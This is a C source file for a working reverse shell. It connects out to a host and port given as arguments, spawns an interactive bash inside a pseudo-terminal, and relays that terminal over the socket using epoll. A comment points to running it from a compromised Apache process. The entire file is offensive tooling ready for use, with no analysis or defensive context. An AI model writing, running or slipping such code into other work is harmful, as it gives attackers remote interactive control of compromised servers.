//#define _GNU_SOURCE #include <fcntl.h> #include <sys/types.h> //old UNIX flag must be add sys/types.h before /sys header files #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> #include <stdio.h> #include <sys/ioctl.h> #include <termios.h> #include <unistd.h> #include <sys/epoll.h> #include <sys/wait.h> #include <string.h> #include <pty.h> #include <utmp.h> #include <errno.h> #define MAXBUF 1024 int connectback(char *host, u_short port) { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in s; s.sin_family = AF_INET; s.sin_port = htons(port); s.sin_addr.s_addr = inet_addr(host); if(connect(sock, (struct sockaddr *)&s, sizeof(struct sockaddr_in)) == 0) return sock; printf("connect faild: %s\r\n", strerror(errno)); return -1; } int swap(int sockfd, int master) { int epfd, nfds, nb; struct epoll_event ev[2], events[5]; unsigned char buf[MAXBUF]; epfd = epoll_create(2); ev[0].data.fd = sockfd; ev[0].events = EPOLLIN | EPOLLET; epoll_ctl(epfd, EPOLL_CTL_ADD, sockfd, &ev[0]); ev[1].data.fd = master; ev[1].events = EPOLLIN | EPOLLET; epoll_ctl(epfd, EPOLL_CTL_ADD, master, &ev[1]); for(;;) { nfds = epoll_wait(epfd, events, 5, -1); for(int i = 0;i < nfds; i ++) { if(events[i].data.fd == sockfd) { nb = read(sockfd, buf, MAXBUF); if(!nb) goto __LABEL_EXIT; write(master, buf, nb); } if(events[i].data.fd == master) { nb = read(master, buf, MAXBUF); if(!nb) goto __LABEL_EXIT; write(sockfd, buf, nb); } } } __LABEL_EXIT: close(sockfd); close(master); close(epfd); return 0; } void sig_child(int signo) { int status; pid_t pid = wait(&status); printf("child %d terminated.\r\n", pid); exit(0); } int main(int argc, char* argv[]) { char ptsname[32] = {0}; pid_t pid = -1; int master = -1; u_short port = (u_short) atoi(argv[2]); char* host = argv[1]; int sockfd = -1; if(argc != 3) return printf("%s <host> <port>\r\n", argv[0]); //fork child process, no hung pid = fork(); if(pid == -1) return printf("fork: %s\r\n", strerror(errno)); if(pid > 0) return printf("child process %d\r\n", pid); //connection back with tcp if((sockfd = connectback(host, port)) == -1) return 0; //setup handler for SIGCHLD signal(SIGCHLD, sig_child); //fork and open pty pid = forkpty(&master, ptsname, NULL, NULL); //child open bash shell if(pid == 0) execlp("/bin/bash", "-i", NULL); //dup2 stdin/stdout/stderr to sockfd, it's will hung executed by apache if not do this step for(int i = 0;i < 3; i ++) dup2(sockfd, i); //parent swap data printf("[%s][PID=%d]\r\n", ptsname, (int) pid); swap(sockfd, master); return 0; }